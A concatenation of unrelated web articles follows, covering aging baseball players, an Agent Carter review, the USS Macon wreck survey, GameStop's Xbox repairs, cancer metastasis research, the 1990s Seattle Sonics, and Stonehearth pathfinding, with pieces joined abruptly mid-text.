Born on November 18, 1975, Ortiz has announced he’ll retire following the 2016 season. He’s been in the majors since 1997, playing for the Minnesota Twins through 2002 before joining the Boston Red Sox, going on to win three World Series titles. He’s a nine-time All-Star, six-time Silver Slugger award winner and a World Series MVP from 2013. With 504 career home runs, he’s 26th on the all-time list and is the all-time leader in MLB history for home runs, RBIs and hits as a DH.
Alex Rodriguez – 40
Rodriguez, born July 27, 1975, has been playing major league baseball since 1994 when his career began in Seattle, went through Texas and is probably going to end with the Yankees in New York. He’s a three-time MVP, two-time Gold Glove winner and 10-time Silver Slugger award winner, finally winning a World Series championship in 2009 with the Yankees. His 687 career home runs put him 4th on the all-time list.
Koji Uehara – 41
Uehara, born in Japan on April 3, 1975, has been in the majors since 2009, playing for the Orioles and Rangers before joining the Red Sox in 2013, winning a World Series and ALCS MVP with them in 2013. He made the All-Star game in 2014.He won the World Baseball Classic with Japan in 2006.
R.A. Dickey – 41
Something of a late bloomer, Dickey was born on October 29, 1974. After less than impressive times with the Rangers (began there in 2001), Mariners and Twins, things clicked for him playing for the New York Mets, including a Cy Young award in 2012, when he made his only All-Star game. That season landed him a four year deal worth $41 million with the Toronto Blue Jays despite his age, which runs out at the end of this season.
Ichiro Suzuki – 42
It’s still weird seeing Ichiro (born October 22, 1973) in uniform that’s not Seattle’s but that’s the business. He played for the Mariners from 2001 to 2012, making 10 consecutive All-Star games to start out his major league career. He won the MVP his rookie season, going with 10 Gold Glove awards and three Silver Slugger awards. He played for the New York Yankees until 2014 and has been with the Miami Marlins since last season, although seeing him hit just .229 (never batted below .300 until 2011) just seems wrong.
Bartolo Colon – 42
So, yes, I was on board with this show before it came out, but I was a little nervous because you never know how these things will pan out. I’m happy to report, though, that the show (slated for eight episodes) is a hell of a lot of fun.
The first episode, “Now Is Not The End”, kicks off with the ending of Captain America: The First Avenger, as the good Captain Rogers flies a plane loaded with explosives into the freezing ocean. On the other end of his radio communication is his fellow solider, Agent Peggy Carter. They’ve been in love practically since they met, back when he was still a skinny, sickly recruit with nothing going for him except innate decency and gumption, yet they’ve never gotten together. In keeping with the reserved nature of their relationship, they don’t declare undying love for each other as Steve is about to (apparently) die. They make plans for a date. She promises to teach him to dance. Then he crashes and is gone from her life.
Since Agent Carter starts this way, a word about the movie is necessary. One of the things that makes the Captain America series the most compelling in the whole Marvel movie universe is its undercurrent of melancholy. The First Avenger has a coda in which Steve Rogers wakes up in the present day, resurrected, it would seem, from the dead. He’s asked if he’s going to be okay, and he answers, in the movie’s final line, “Yeah…it’s just…I had a date.” That final moment—the sense of a life interrupted—is the key to his character over the rest of the films.
Agent Carter picks up that same tone and runs with it. Peggy finds herself at loose ends after the war, a little lost without Steve and their shared mission to defeat Hydra and the Nazis. It’s 1946 and she’s working for the Strategic Scientific Reserve, the forerunner to S.H.I.E.L.D. Although she was more or less running the Allies’ war effort in The First Avenger, after the war she’s been shunted aside in favor of a boys club. These early scenes evoke postwar gender dynamics, as women were expected to surrender their jobs to returning soldiers. We associate the Baby Boom with these years, but it’s always important to remember that it was a time of incredible stress and upheaval. The entire world had been traumatized, the economy tanked as all the munitions jobs disappeared, and the women who had been the backbone of the homeland war effort were told to go home and have babies. (There is a reason that film noir flourished in the mid-40s.)
It will have to be admitted that Agent Carter is a little hamfisted in dealing with these issues. Peggy’s coworkers are a bunch of louts who seem like extras from the first season of Mad Men, and it’s a little odd that no one around her seems to be aware at all that she helped save the world. The show does explain away this last problem, though, by telling us that Peggy’s participation in the war has been historically relegated to the status of “Captain America’s girlfriend,” a theme that will pop up again in the second episode. Despite the heavy-handed way the show goes about it, what Agent Carter is doing here is interesting—giving us a metaphor for the way women’s lives are interpreted (and reinterpreted) in the culture.
The plot of the first episode finds Carter trying to clear the name of her former comrade in arms, military industrialist Howard Stark (Dominic Cooper). In a clear nod to the Red Scare and the HUAC hearings, Stark is under investigation by Congress. The boys on Capitol Hill just want his technology to develop weapons and since Stark won’t play ball they want to throw him in jail. Before he goes on the run, he pairs up Carter with his butler Edwin Jarvis (Edwin D’Arcy) and the two set out to run espionage under the noses of Peggy’s loutish bosses and coworkers, all of whom just want to catch Stark.
Peggy’s investigation leads her to a shady underworld figure named Spider Raymond (Andre Royo) who, in the grand noir tradition, runs a nightclub. Peggy sneaks into the place in a blonde wig and a husky American accent—this whole nightclub sequence reminded me of the 1947 Lizabeth Scott noir Dead Reckoning—kisses Raymond with some special lipstick that knocks him out and then steals a glowing ball that, as I followed it, is some kind of super-secret weapon developed by Stark. After a few underwhelming initial action scenes early in the episode, the show heats up when Peggy has to fight a mysterious assailant in her apartment. It’s a hell of a great fight, well choreographed and played in close quarters (reminding me a bit of the big fight in The Bourne Ultimatum). Peggy wins and the guy runs off.
All in all, a fun first episode. The show sets several plates spinning, gives Peggy some personal drama, and culminates in some top-shelf fisticuffs. I like where this thing is going.
Jake Hinkson is the author of several novels, including the newly-released The Big Ugly.
The sinking of USS Macon (ZRS-5), a lighter-than-air rigid airship, resulted in few deaths but its loss ended the Navy’s quest to use airships as long-range scouts for the fleet.
While the idea died, the wreck Macon lives on as an important archaeological site and this week Naval History and Heritage Command, National Oceanic and Atmospheric Administration (NOAA) and several non-profits came together to explore the wreckage, mapping out pieces of the airship and its four biplanes and studying the change in its material condition over time.
Their hope: to understand life aloft in the floating aircraft carrier, to piece together a clearer map of the wreck site and to research how quickly the remains of the airship are being consumed by the sea.
USS Macon Life and Legacy
As early as 1916 the Navy had begun designing lighter-than-air (LTA) rigid airships, and by 1926 the focus had shifted to airships that could support aerial scouting missions. The first flying aircraft carrier, USS Akron (ZRS-4), was commissioned in 1931 – and after several incidents in two years, the airship crashed and sank off the coast of New Jersey in 1933, killing 73 of 76 men onboard, including Rear Adm. William A. Moffett, the first chief of the Navy’s Bureau of Aeronautics and the chief proponent of bringing LTA aircraft to the fleet.
Macon was commissioned a month and a half after the Akron crash. The airship was commanded by one of the only Akron survivors, Lt. Cmdr. Herbert Wiley, and was based in California. The second-in-class dirigible had a slightly longer service life. The airship stayed mission-ready and participated in many fleet exercises in its two years.
Macon demonstrated its concept of operations, launching and recovering as many as five single-seat Curtiss F9C Sparrowhawk biplanes via a “trapeze” that the crew used to recover the planes. The planes often had their landing gear removed while operating from the airship, leaving little room for error for the pilots.
On Feb. 12, 1935, the airship hit a storm off the coast of Point Sur, Calif. A tailfin was sheared off, and in trying to respond the crew set off a chain of events that led to them losing control of the airship and falling nose-up into the ocean, according to a post in the Naval History Blog. The aircraft fell slowly enough that the crew could put on lifejackets – which were onboard the Akron. One crew member jumped from the airship at too high an altitude and died, and another died when he returned to the sinking ship to retrieve personal items. The other 74 crew members were rescued. However, the rigid airship program was beyond saving.
Bruce Terrell, chief archaeologist and historian at NOAA’s Office of National Marine Sanctuaries’ Maritime Heritage Program, told USNI News on Tuesday that the Macon, for all it lacked in longevity, shed a lot of light on how the Navy perceived the threats to the U.S. in the Pacific.
“it’s showing the pre-World War II mindset of the Navy. And as early as the turn of the century, the Navy was focused on Japan, watching Japan, because their military was increasing so fast and they kind of were getting clues as to the Japanese government’s designs on South East Asia and the islands,” he said.
“Macon was envisioned as basically a scout for the fleet, Macon and Akron. … it kind of shows how the Navy was looking at scouting for the fleet, protecting the fleet. And Macon was kind of the highest expression of the technology, but as this was happening seaplanes with longer and longer range capability were being developed, radar was starting to be developed, newer technologies were coming along. So I think the Navy, at that point when Macon finally crashed, it was like, okay, we’re cutting our losses here. … But I think the concept was proven after Pearl Harbor – the big what-if question is, if Macon had been operational and successful, might Macon and the little scout aircraft, might they have spotted the Japanese fleet before they could hit Pearl Harbor?”
Exploration and Mapping Mission
On Tuesday morning, scientists, archaeologists and other experts gathered aboard the 211-foot Exploration Vessel Nautilus at the wreckage site; at the ship’s command hub, the Inner Space Center at University of Rhode Island’s Graduate School of Oceanography; and at NOAA headquarters in Maryland.
Broadcasting the whole operation live online, the team prepared for its 12-hour mission: to find the boundary of the wreckage site, to create a photomosaic of the site, take 3D video of small portions of interest and to retrieve a small piece of aluminum for metallurgical study.
The layout of the Macon site is already fairly well understood. Explorations in 1991 and 2006 photographed and identified the bulkiest items on the ocean floor – engines, fuel tanks, ovens, tires, and the four biplanes still relatively intact, among others – and even retrieved some items for study and display.
But Terrell explained that this exploration will provide even greater detail, thanks to technological advances. New high-definition sonar will give researchers a better look at some of the smaller items, which are key to shedding light on what daily life was like aboard Macon.
“We’re already getting a better sense of how Macon wrecked and came to rest on the seabed, but I think [this exploration is] going to help us identify actual objects more. It’s just a cumulative process that’ll be going on for years,” he said.
A finer look at those items in the wreckage will help answer several questions, Terrell added.
“We want to know basically what’s there, identify objects, things like that. We want to know how it wrecked, how all that happened,” he said.
“But then we want to understand the more human story. Now with Macon, there were two losses, a radioman and a steward; we know the radioman jumped from too high and broke his back, so they may have recovered his remains. But the steward ran back into the galley and was never seen again, so we may have a military grave there. But then the other human question we want to answer is, since there were people onboard, we want to know basically how the workspaces were arranged on Macon, how this big complex ship in the sky actually operated – how they interacted with each other, how they communicated, what kind of personal effects may have been onboard. We know we’ve got a lot of the galley there, it would be interesting to know how they cooked and ate their food up there in the sky.”
To answer the questions, the team took the Ocean Exploration Trust’s Nautilus and its dual-body remotely operated vehicle system, composed of primary ROV Hercules and and secondary vehicle Argus. The pair are outfitted with lighting, cameras, sensors and sonar to document what they encounter at the bottom of the ocean.
The Nautilus crew launched the ROVs just after 8 a.m. EST, and it took the vehicles about an hour to reach the search site, more than 1400 feet below the water’s surface.
The first step was to find an accurate perimeter for the photomosaic – Terrell said the one created in 2006 did not include the full wreck site. The mission covered Field A, which is the back two thirds or so of the Macon – including the Sparrowhawks, the ovens from the galley, engines and more – and Field B, which is the smaller front section of Macon.
Hercules and Argus then “mowed the lawn” for about five and a half hours in Field A and for more than three hours for Field B, taking photos every few seconds to create the photomosaic.
The ROVs were able to take 360-degree video of a biplane, take some measurements of corroded parts of a plane wing, and measure how much sediment had built up since 1935. The last item on the mission agenda was to pick up a piece of aluminum girder to bring back and study. Terrell told USNI News on Wednesday that the first piece the ROV’s manipulator arm picked up “turned to dust” when moved. The scientists located another similar-sized piece but found that an object was obstructing access to it. Upon trying to move the piece sticking out of the ground, they found it was another piece of girder – half of which had been exposed to the water and half of which had been buried in the ocean floor and protected. Right as time expired for the mission, the scientists brought up the girder, found it fit in their protective box, and were able to call the mission a success, Terrell said.
Expedition’s Lessons Learned
For those involved in the mission, Tuesday’s expedition was part of an obligation to monitor and preserve the wreck site to the best of their ability, given the great environmental challenges associated with artifacts under 1,400 feet of saltwater. Macon and its scout planes will eventually be corroded away, and these organizations want to continue to document their condition now and into the future.
“We’re really extending the life of this airship and her biplanes and documenting the past 80 years she spent under water, which is the majority of her life,” NOAA archaeologist Megan Lickliter-Mundon said while broadcasting from Nautilus.
But she noted Tuesday afternoon that the artifacts may be corroding faster than expected. One of the biplane’s wing collapsed since the 2006 expedition, which scientists knew would happen eventually but didn’t expect so soon. Gaining a better understanding of aluminum in the Macon frame and the Sparrowhawks will help scientists predict how long the wreckage will remain intact and may inform future expeditions.
Alexis Catsambis, archaeologist and cultural resource manager at Naval History and Heritage Command, said Tuesday that the Navy has a good understanding of how materials from older shipwrecks – wood, iron, copper alloys – react to their underwater environment. But with 20th Century materials like aluminum alloys, “we haven’t quite figured out as a discipline how to best conserve the material, how those materials react with their environment and with other materials. And so this is an opportunity to learn through the sample that we collect about the rate of degradation of certain aluminum alloys and hopefully how to best help preserve them,” he said.
At the Naval History and Heritage Command, “we are charged with managing the sites, with researching the sites, with conserving and curating artifacts that are recovered from them, and ultimately public outreach,” he said, and this mission taps into each of those missions. He said the Navy hoped to retrieve a piece of aluminum from the Macon frame, perhaps one or two feet long, for testing and eventually to loan out to a museum.
"Praetoria is a huge galactic story by Oats Studios. This is us testing the water."
It is another short film for Neill Blomkamp's experimental film project that is titled Oats Studios, which has been releasing a series of very impressive experimental short films. This one runs just under three minutes, but there are others available to view that run around thirty minutes. They can all be watched for free on their YouTube page, while the lengthy short films can be purchased as downloadable files on Steam . The shorts will function as test concepts for potential feature length films, or episodic series. They currently have several download packages to purchase that contain the short films, concept art, and 3D assets. Purchasing the films and content from Steam enables them to develop these short films into potential features without the assistance of a major film studio. Check out the video below.
Last console generation, the iconic four-quadrant circular light on the Xbox 360’s power button was the cause of much heartbreak. If everything was in working order, the top-left quadrant and inner power symbol would glow green. If something was amiss, quadrants would light up red — all four if there was an AV cable error, or the top and bottom left if the console was overheating, for instance. Game Informer estimates that 54.2% of Xbox 360 consoles have experienced a Red Ring, meaning more than half of Xbox 360 owners have a hardware failure war story. As part of a Business Week article that detailed how retail chain GameStop has thus far managed to stay afloat in an ever-increasing digital world, the site reports that GameStop was reselling temporarily repaired Red Ringed consoles.
The Red Ring was the result of a faulty connection between chip and motherboard, and — despite a slew of questionable homebrew fixes found throughout message boards — almost always resulted in sending the console back to Microsoft for repair. GameStop’s admittedly ingenious repair team discovered that by heating the top of the console while cooling the bottom, the connection between chip and motherboard could be fixed. The report states that GameStop built its own repair machine, which is operated by a $10-per-hour employee, and resells the refurbished consoles at near-full price. While we all know GameStop is the dictator of trade-ins, it was company policy not to accept Red-Ringed consoles — even though they built a machine to fix and prep those very consoles for resale.
Sadly, the fix is likely temporary. The GameStop heating-and-cooling method sounds similar to the famous towel method that spread across the internet; remove everything (that’s easily removed) but the power supply from the Xbox 360, wrap it entirely in towels, plug the console in and let it run for 20 minutes, turn it off and unplug for 20 minutes, and it should work once again. The towel method often worked because it used the console’s own heat to re-melt solder on the GPU, but generally proved to be a temporary fix because of the inherent flaws in the motherboard that caused the problem in the first place.
So, it’s entirely possible that the inflated number of 54.2% is not the result of Microsoft building so many broken consoles, but because previously broken consoles that would break again were being resold through retail stores. Perhaps that’s good news for Microsoft’s reputation, but certainly not good news for GameStop or the customers that purchased the marked-for-death consoles.
It's a treasure trove of priceless Australian nostalgia that almost certainly would have been thrown out if it weren't for one man's passion for the past.
Marcus Taft with his impressive collection. (9NEWS) ()
For more than 30 years, Marcus Taft has been collecting household staples like cereal, chocolate, washing powder and boot polish.
Mr Taft has slowly accumulated more than 600 pieces, although he says it's hard to estimate exactly how many items he has.
"When my Grandmother died in 1981, she had a whole lot of things in her pantry, and I thought, what a shame to throw that out. And then I found the other things, and it's just grown over the years," he said.
Inside the small bedroom the air is thick and it smells a little damp, but the brilliance of colour hasn't dulled despite the years. The stunning illustrative detail in the packaging is all about catching the buyer's eye.
"I think the best thing about it is it's almost like an artwork," Adam McDonald, star of the show "Aussie Pickers," said.
(9NEWS/Lara Vella) ()
(9NEWS/Lara Vella) ()
"Back in the day... Your product would sell only because of how good it looks on the shelf, and that's why you get all these beautiful bright colours, and the big pictures."
From Vegemite, to Weet-Bix and even a so-called women's tonic - which Marcus says was mainly alcohol - stepping inside the tiny spare bedroom feels like a brief glimpse into a time long past.
One item in particular caught professional bargain hunter Lucas Callaghan's eye.
"I love the old Smiths tins. Before potato chips were put in bags, they came in a metal tin," he said.
Mr Taft recalled having them delivered to the doorstep in the 1950s.
Although he had no idea his collection would grow so much, Mr Taft said he's more than happy to be a custodian of Aussie history.
"That's partly why I started collecting, because I thought, what a shame it just gets thrown away."
"Cells have genetic circuits that are used to switch certain behaviors on and off," said biophysicist Eshel Ben-Jacob, a senior investigator at Rice's Center for Theoretical Biological Physics and co-author of a new study in the Journal of the Royal Society Interface. "Though some of the circuits for metastasis have been mapped, this is the first study to examine how cancer uses two of those circuits, in concert, to produce not just cancer stem cells, but also dangerous packs of hybrid stem-like-cells that travel in groups to colonize other parts of the body."
Metastasis -- the spread of cancer between organs -- causes more than 90 percent of cancer deaths, but not all tumor cells can metastasize. The switch that many cancer cells use to become metastatic is the circuit that governs the epithelial-to-mesenchymal transition, or EMT. The EMT, an important feature in embryonic development and wound healing, allows cells to revert back along their developmental path and take on certain stem-like features that allow them to form new tissues and repair tissue damage.
Cancer cells co-opt the EMT process to allow tumor cells to break away and migrate to other parts of the body. Once there, the cells reverse the switch and transition back to epithelial cells to form a new colony.
In 2013, Ben-Jacob and Rice colleagues José Onuchic, Herbert Levine, Mingyang Lu and Mohit Kumar Jolly discovered that cancer uses the EMT circuitry as a three-way switch. Rather than simply flipping between the epithelial (E) and mesenchymal (M) states, the study showed that cancer had the ability to form E-M hybrids.
In the new study, Ben-Jacob, Levine, Jolly and Lu teamed with Rice graduate student Bin Huang and the University of Texas MD Anderson Cancer Center's Sendurai Mani to examine the interaction between the three-way EMT switch and a second, well-documented genetic switch that gives rise to cancer stem cells (CSCs). The research showed that the CSC circuit also operates as a three-way switch. In addition, the study found "significant correspondence" between the operation of the two switches, which suggests a mechanism that would confer "stemness" on hybrid E-M cancer cells that are known to travel in packs called circulating tumor cells (CTCs).
"According to the prevailing cancer dogma, cells that become fully mesenchymal pose the highest risk of metastasis progression," said Ben-Jacob, adjunct professor of biosciences at Rice. "Indeed, most diagnostic and therapeutic efforts to date have focused on targeting these cells. Notwithstanding that the hybrid cells are more versatile and have the advantage of moving together as a group, they have been assumed to be less harmful than their fully mesenchymal cousins. Our discovery -- that squads of hybrid cancer cells also have 'stemness' characteristics -- challenges this picture."
Jolly, the study's first author, said, "By applying a physics-based approach to understand the dynamics of cancer decision-making, we were able to explain a number of recent experimental observations, including some that seemed contradictory."
Mani, who first showed in 2008 that the EMT switch could produce cells with stem-like properties, said, "Being stem-like means that cells can easily differentiate back to epithelial as well as change their character to found a whole colony of specialist cells that work together. The finding of 'stemness' in E-M hybrids means that those cells will have a better chance to form metastases because they can more easily adapt to newly encountered conditions and become E cells easily at the metastasic niche in a distant organ."
Levine, co-director of Rice's Center for Theoretical Biological Physics, said the coupling between the two switches shows that two seemingly independent and distinct cellular programs -- one that drives migration and a second that drives adaptation and tumorigenesis -- are linked.
"The existence of a link suggests that we may be able to simultaneously target both processes with innovative new therapies," he said.
Levine said the new study validates the center's research approach, which relies on a combination of skills from both the physical sciences and cancer biology.
Amnesia: The Dark Descent developer Frictional Games will once again scare gamers and give Youtubers material to scream over come this September. I got my hands on SOMA at this year’s E3, and despite the poor demo conditions for a game such as this, I’m pretty dang impressed. Whereas Frictional’s previous games isolated players in a foreboding environment, SOMA is a tad different as it’s much more dialogue heavy from what I can tell. You’ll even meet some fellow “survivors” along the way.
Most equity analysts think that Infosys will lead—tempered of course by the fact they have now set a lower bar for earnings performance expectations than ever before. Other IT majors have also pulled off this trick quite successfully over the past several quarters. Dalal Street, as a whole, now expects much lower earnings growth—in the 11-13% range—compared with the heady expectations of 27-28% just a few years ago. And lest we forget, this is despite the fact that the rupee has depreciated almost a further 10% this year.
While analysts—and investors—will comfort themselves by comparing these peers with one another and making investment choices that discriminate among these peers, there is a larger question at hand. And it is simply this: are the large Indian players now no different than their large non-Indian competitors like IBM and Accenture? And yes, let’s not forget the behemoths of a few years ago—HP, EDS (Electronic Data Systems Corp.), CSC (Computer Sciences Corp.) and ACS (Affiliated Computer Services Inc.)—whom the Indians replaced.
If the answer is yes, which I certainly believe it is, then we are in for an interesting ride over the next half-decade or so.
When I ran a region (Europe) wide P&L (profit and loss) for IBM in the late 1990s, my performance goals were set on attaining a pre-tax income number of 11%. I have to believe that my then peers at firms such as HP, EDS and CSC had similar targets to achieve. The 11-13% estimates we now see for Indian majors is eerily close to that number.
In the decade that followed, we witnessed quite a lot of carnage. Essentially, the drop in telecom prices—and the throwing up of walls (not literally as planned by Mr Trump—but effectively by using visa regimes) simply led to the work being moved to where the workers were, rather than flying the workers out to the work. Despite the recent proxy war of words by two industry titans about Indian firms having been “immigration agents", the truth remains that India’s IT industry would not have taken off as spectacularly as it did had it not been for all the dark fibre laid undersea in the 1995 to 1999 period by giants such as Cable & Wireless and AT&T.
This fiber was suddenly “lit" as the telecom industry, led by investment and technological change, rapidly increased available bandwidth. The fact that it remained dark for several years was simply a timing error in capacity planning. The telecom majors had bet that the “e-commerce" majors would flower sooner than they actually did. (Remember George Sheehan, the CEO of Accenture who quit to found WebVan, a grocery delivery e-commerce business?)
This fundamental shift, which led to a plethora of work being done from India rather than from the US or the UK, contributed significantly more to the rise of Indian IT than the alternate loosening and tightening of H1-B visa regulations.
At the time, IBM, HP, CSC et al were the champions, and Infosys, Wipro, TCS et al were at best contenders, in most cases ignored by the champions. Well, those that ignored that revolution simply don’t exist any more as large independent IT services business. And we stand today at the brink of history being repeated, this time with different contenders and incumbent champions. I believe the next half-decade will be less of a battle among the champions over cloud, digital and analytics, and more of a battle between the slow (read some of the champions) and the fast (read the long reviled “tier II").
The opportunity for the “tier II" firms to now eat their “tier I" competitor’s lunch is greater than ever. The information asymmetry long faced by firms looking to outsource their IT work has since died off, and clients are ever more sophisticated and willing to try upstart IT services players to build bespoke and well-engineered applications in areas such as the “Internet of Things" and in large-scale data analytics—while simultaneously migrating their hardware and its maintenance to the now well established cloud players like Amazon, Google and Microsoft, while today’s large IT services firms keep talking about security concerns and the need for “private clouds"—run, of course, by them—instead of Amazon et al.
Many of the large players want to recast themselves as “product" firms in digital and other spaces rather than continue as services players. Time will tell whether this transition actually happens, since existing cash cows are difficult to ignore. Just a few weeks ago, the strategy head of one of these majors told me at a social gathering that his firm really wasn’t too exercised by the cloud since, (a) not all their customers would move to it, and (b) of the remainder who would, most would move slowly, thereby giving his firm ample opportunity to keep milking its cash cow hardware “remote infrastructure maintenance" business.
Ominous words. Tier II firms—move, and move fast. Many of the big boys are asleep at the switch.
Nobody played basketball in the '90s like the Sonics. In an era of post-ups, isolations and slowdown styles, the Sonics were frantic. They trapped everything and switched even more. They wanted to turn you over and make you uncomfortable, and when they did, they threw down hammer dunks and alley-oops. Then, they told you about it afterward.
They were also really good. Over a six-year span, the Sonics won 357 games and finished with the best record in the West four times, reaching the conference finals twice and the NBA Finals once. In between, they became the first No. 1 seed to lose to team seeded eighth and followed that up with another first round exit.
At a time when great players like Charles Barkley, Patrick Ewing, Karl Malone and John Stockton were denied championships by Michael Jordan's overwhelming presence, history has not been all that kind to the Sonics. Every one of those players and teams had postseason disappointments during their years together. The Sonics had disasters. There was no middle ground. When they were on top of their game, they were virtually unbeatable. But when they fell, they crashed, leaving a trail of collateral damage in their wake.
What the Sonics had more than any of the other teams of their era was personality. The players fought with each other. They argued with their coach, who was just as crazy as they were, and the general manager fought with the owner. If they existed today, they would own the basketball Internet and be worth the price of League Pass all by themselves. They were of a time and place, and when it was over, they simply faded away.
Nathaniel S. Butler/NBA
Before the preps-to-pros movement began with Kevin Garnett in 1995, there was Shawn Kemp. A freakishly athletic 6-10 power forward, Kemp never played a game of college basketball. He signed with Kentucky, but was ruled ineligible under the old Prop 48 rules. He left amid allegations that he pawned a pair of gold chains belonging to the coach's son -- Kemp was never charged -- and a recruiting scandal that touched every aspect of the program. He made his way to a Texas junior college, but never played there either.
Nevertheless, Kemp declared for the 1989 draft. Sixteen spots after the Kings tabbed Pervis Ellison with the top pick, the Sonics chose Kemp, who quickly proved that he belonged in the league. He moved into the starting lineup early in his second season and was in the All-Star Game by the time he was 23 years old.
Dubbed the "Reign Man," by beloved broadcaster Kevin Calabro, Kemp combined brute power with stunning athletic grace. He was a spectacular in-game dunker, and like Blake Griffin years later, critics charged him with lacking an all-around game to complement his highlight plays. But Kemp was a better passer than people gave him credit for and a double-double machine whose numbers were obscured by the Sonics' deep rotations and spread-the-wealth offensive philosophy.
The Sonics went 41-41 in Kemp's rookie year and just missed out on the postseason, but lottery fortune was on their side. With the second pick in the draft, the Sonics selected Gary Payton from nearby Oregon State. Payton and Kemp couldn't have been more different. While Kemp kept to himself, operating on what the Sonics dubbed "Shawn Time," Payton was loud and brash. They were the alpha and omega of the Sonics' swaggering insecurity.
The Sonics were in the midst of a transition period when Kemp and Payton arrived and their story doesn't really begin to take shape until midway through the '91-'92 season, when GM Bob Whitsitt made a fateful change at head coach, firing K.C. Jones and luring George Karl back to the states from a gig coaching Real Madrid.
Karl was a coaching prodigy who made winners out of the Cleveland Cavaliers and Golden State Warriors, but wore out his welcome before he could see those rebuilding projects through to completion. Upon his return, Karl was determined to do things his way. He had gone 50-6 with the Albany Patroons in the CBA playing a wide-open fast-paced style, which was perfect for his new team. He retained defensive guru Bob Kloppenburg, who installed the manic, trapping defensive style that became the team's trademark.
The Sonics went 27-15 that season under Karl and reached the second round of the playoffs after a memorable first-round upset of the Golden State Warriors, punctuated by a vicious Kemp jam over veteran statue Alton Lister. The dunk captured everything about Kemp's emerging game and was captured memorably by Calabro:
POWER SLAM
TOMAHAWK JAM
YEEEEEAH BABY
The Sonics lost to Utah in five games in the second round, but this was their introduction to the big stage. The NBA was undergoing a transition, as the Celtics, Pistons and Lakers were all at the end of their runs. The league now belonged to Michael Jordan, but the West was wide open, just waiting for someone to claim it.
Whitsitt made two savvy moves during the 1993 season, acquiring journeyman swingman Vincent Askew and landing Sam Perkins at the trade deadline. The Sonics won 55 games and reached the conference finals, but they already had a knack for making things hard on themselves. They fought back from 2-1 deficits in all three rounds of the playoffs, but eventually couldn't get past Barkley's Suns in a seventh game that featured 100 free throws, with 64 being awarded to Phoenix. For all their later postseason misery, this loss stung as much as any of them.
Trader Bob didn't sit tight. He dealt Derrick McKey to the Pacers for Detlef Schrempf and picked up Kendall Gill from the Hornets. The '94 Sonics were loaded. They won 63 games and went 17-2 down the stretch. After winning the first two playoff games handily against the Nuggets, it seemed like nothing could stop them.
Andrew D. Bernstein/NBA
Then, they went to Denver. All year long, people wondered if the Sonics would unravel when things got tight. Despite the impressive array of talent, they lacked a certified low-post scorer. Kemp was many things, but he wasn't automatic on the block like Barkley, Malone, Hakeem Olajuwon or David Robinson.
Then there was the questionable chemistry. McKey was no Schrempf offensively, but he could guard multiple positions and was as integral to their pressure defense as Payton and Nate McMillan. There was also a memorable argument between Payton and veteran Ricky Pierce over shots and the way Payton ran the offense.
The Sonics dropped both games in Denver and then came apart completely in the deciding fifth game. The series ended with Denver's Dikembe Mutombo on the ground gripping the ball in one the 1990's iconic moments. Payton later revealed that he sensed trouble after Game 2 and a locker room speech only magnified the problems.
Whitsitt resigned, or was fired (or both) and wound up with the Blazers. Kemp was nearly traded to the Bulls for Scottie Pippen, which would have dramatically altered NBA history. Karl survived, but a year later, they again lost in the first round, this time to the Lakers. The coach had one more year left on his contract and no one thought he could survive another postseason meltdown. He did.
Fortified by steady shooting guard Hersey Hawkins, the '96 Sonics finally, mercifully, reached the NBA Finals. Karl made a key strategic decision in the conference finals against Utah, dropping their trapping defense and playing the Jazz straight up. After blowing a 3-1 series lead, the Sonics finally held on in seven games, with Kemp making two clutch free throws to clinch the series.
In the Finals, they dropped the first three games to the Bulls, then came roaring back to take the series back to Chicago, which was about the most Sonics thing ever. Just when you were ready to write them off, they came back for more. Yet the Bulls closed them out back in Chicago and that was as close as they would get to the ultimate prize.
After losing in the second round in 1997, Kemp was finally traded. It was a contract dispute that did it. Kemp held out after Seattle gave backup center Jim McIlvaine a 5-year, $35 million contract, and he was dealt before the start of the season for Vin Baker. The Sonics won 61 games without him, but were no match for Shaquille O'Neal's Lakers in the playoffs. That finally sealed the end of Karl's run as coach.
Gary Payton hung around until the 2003 season, but he was ultimately traded to Milwaukee at the deadline for Ray Allen, in what began the Sonics' last run. They moved to Oklahoma City in 2008, and a franchise that meant so much to so many simply disappeared.
There are no retired jerseys or banners commemorating the mid-'90s Sonics. They exist only in our imagination, in grainy YouTube videos and old newspaper clips. When Clay Bennett moved the franchise to Oklahoma City, the Sonics' legacy went into limbo. The original memorabilia is still housed in Seattle, but Bennett's group retains the records, the history and the rights to the team name.
Perhaps someday in the future when Seattle finally gets its team back, Payton, Kemp and Karl will get their due. They were one of a kind: brash, crazy and unpredictable. They were a tragically flawed basketball team at the worst possible times.
Pathfinder Optimizations
Recap from the video:
So, how many of you have ever completely walled off your town, and then had a bunch of monsters spawn outside? Or asked your hearthlings to pick up loot that is for some reason, now inaccessible?
Eventually, both of these situations lead to massive game slowdowns and stuttering, especially in combination with a lot of mining and building.
Each moving entity–hearthling, monster, etc–in the game has some A* pathfinder code associated with it. When an entity has a goal, like running in to investigate your town or challenge your knights or take all your stuff, that pathfinder code searches the world for a way in. The larger and more complex the world is, the more time this search takes up on your CPU, because it has to check all the possibilities before it can assure itself that there’s no way to get there right now.
If the hearthlings cannot get onto a plateau/pit/etc that contains a restockable item, their pathfinders still use CPU as they try to find a way to that item. You can see this in the astar section of the CPU performance bar in the lower right coner of the screen.
Every time I add a log to the plateau, all the pathfinders run again, even though the new log is right beside the old log that they should already know they can’t get to.
Worse yet, once the pathfinders have exhausted their search, your CPU goes back to normal–for a little while. But the world of Stonehearth is deformable: adding a ladder or mining a block of terrain might in fact, suddenly create a path between two inaccessible regions.
Pathfinders on entities wait for changes to the terrain, and then all run again. If we didn’t do this, there would be a chance that a path does open up, but you would just see your hearthlings stand around doing nothing.
So in Alpha 20, if you have a bunch of outstanding pathfinders waiting for a path to get to an inaccessible log, and you build a large building or mine a region, those pathfinders run over and over and over again, ever single time the terrain changes, bringing your game to its knees.
In Alpha 21, Chris has written a new topology service to solve this exact issue. As the pathfinders run, he calculates which regions are accessible to which other regions. Each of these regions is then assigned a color.
In the example in the video, this cliff area would be calculated as inaccessible to all the hearthlings who have embarked in this plain down here. When any subsequent pathfinder runs, it checks to see if the target location is in the same color area as the entity that is trying to run there. If it is not, the pathfinder doesn’t even run at all, saving your CPU a ton of time, and making your game much less laggy.
When I drop more logs, the pathfinder doesn’t run at all. When the terrain is deformed, or when we build ladders, this coloring is updated. Though this update can still happen quite often, it only happens once per deformation, instead of once per-deformation for every hearthling and monster and pet with a pathfinder.
In short: less random and horrible stuttering in situations where objects are inaccessible, and in builds with lots of complex buildings!
Other Announcements
